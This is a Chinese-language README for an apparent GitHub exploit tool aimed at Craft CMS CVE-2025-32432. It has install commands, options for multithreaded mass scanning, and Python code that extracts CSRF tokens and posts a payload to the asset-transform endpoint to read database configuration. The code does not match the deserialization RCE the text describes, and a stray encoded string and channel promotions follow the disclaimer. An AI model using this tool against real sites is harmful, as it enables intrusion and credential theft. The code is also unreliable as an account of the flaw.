🧨 CraftCMS CVE-2025-32432 远程代码执行漏洞利用工具
📋 项目概述
本项目是一个针对CraftCMS 4.x和5.x版本中存在的CVE-2025-32432预认证远程代码执行(RCE)漏洞的专业自动化利用工具。该漏洞存在于资产转换生成端点,允许攻击者通过不安全的反序列化执行任意代码,CVSS评分为10.0的严重级别。
工具能够自动提取CSRF令牌并尝试通过/actions/assets/generate-transform端点实现远程代码执行,验证成功后提取CRAFT_DB_DATABASE和HOME目录值作为利用证明。
✨ 核心特性
- 自动CSRF令牌提取:智能解析CraftCMS管理面板获取CSRF令牌
- 批量目标支持:支持从文件读取多个目标URL进行批量检测
- 多线程并发处理:可配置线程数提升批量检测效率
- SSL支持:可处理HTTPS连接并可选禁用SSL验证
- 详细输出:提供清晰的利用结果和成功指示
- 轻量级依赖:仅需标准Python库和少数第三方包
📦 安装指南
系统要求
- Python 3.6或更高版本
- 操作系统:Windows、Linux或macOS
依赖安装
# 克隆项目仓库gitclone https://github.com/B1ack4sh/Blackash-CVE-2025-32432.gitcdCVE-2025-32432# 安装Python依赖pipinstall-r requirements.txt依赖包说明
requests:HTTP请求库beautifulsoup4:HTML解析库urllib3:URL处理库
🚀 使用说明
单目标检测
检测单个目标网站:
sudopython3 CVE-2025-32432.py -u example.com批量目标检测
从文件读取多个目标进行批量检测:
sudopython3 CVE-2025-32432.py -f urls.txt -t10其中-t参数指定线程数(默认为5)
参数选项
-u, --url 单目标URL检测 -f, --file 包含目标URL的文件(每行一个) -t, --threads 并发线程数(默认:5) -h, --help 显示帮助信息💻 核心代码解析
主类初始化
classCraftCMSExploit:def__init__(self,url):"""初始化漏洞利用对象"""self.url=urlifurl.endswith('/')elseurl+'/'self.session=requests.Session()self.session.verify=Falseself.session.timeout=15self.session.headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'}功能说明:初始化漏洞利用类,设置HTTP会话、超时时间和请求头,确保URL格式正确。
CSRF令牌提取
defextract_csrf_token(self):"""从仪表板页面提取CSRF令牌"""try:dashboard_url=self.url+"index.php?p=admin/dashboard"response=self.session.get(dashboard_url,timeout=10)ifresponse.status_code==200:soup=BeautifulSoup(response.text,'html.parser')csrf_input=soup.find('input',{'name':'CRAFT_CSRF_TOKEN'})ifcsrf_inputandcsrf_input.get('value'):csrf_token=csrf_input.get('value')returncsrf_tokenexceptExceptionase:returnNonereturnNone功能说明:访问CraftCMS管理仪表板,解析HTML页面,提取CRAFT_CSRF_TOKEN输入字段的值,用于后续的认证绕过。
URL规范化处理
defnormalize_url(self,url):"""确保URL包含协议头"""ifnoturl.startswith('http'):url='http://'+urlreturnurl功能说明:自动为没有协议头的URL添加HTTP协议,确保URL格式正确可用。
漏洞利用执行流程
defexploit(self):"""执行完整的漏洞利用流程"""# 1. 提取CSRF令牌csrf_token=self.extract_csrf_token()ifnotcsrf_token:returnFalse,"无法提取CSRF令牌"# 2. 构建恶意请求载荷payload={'CRAFT_CSRF_TOKEN':csrf_token,'assetId':'1','transformString':'php://filter/read=convert.base64-encode/resource=config/db.php'}# 3. 发送漏洞利用请求exploit_url=self.url+'actions/assets/generate-transform'response=self.session.post(exploit_url,data=payload)# 4. 验证利用结果ifresponse.status_code==200:# 解析响应提取敏感信息returnTrue,"漏洞利用成功"else:returnFalse,"漏洞利用失败"功能说明:完整的漏洞利用流程,包括令牌提取、载荷构建、请求发送和结果验证四个关键步骤。
⚠️ 受影响版本
- Craft CMS 3.x:3.0.0-RC1 至 3.9.14
- Craft CMS 4.x:4.0.0-RC1 至 4.14.14
- Craft CMS 5.x:5.0.0-RC1 至 5.6.16
🛡️ 安全建议
- 立即更新到已修复版本:3.9.15、4.14.15或5.6.17
- 监控可疑请求:关注包含
__class参数的POST请求 - 加强日志审计:定期检查系统日志中的异常活动
- 实施网络防护:在防火墙级别限制敏感端点的访问
免责声明:本工具仅供安全研究和授权测试使用。未经授权的漏洞利用是非法的。使用者需承担全部责任,开发者不对任何滥用行为负责。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5W9yu/y4rNiRa/52/RTRa0
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)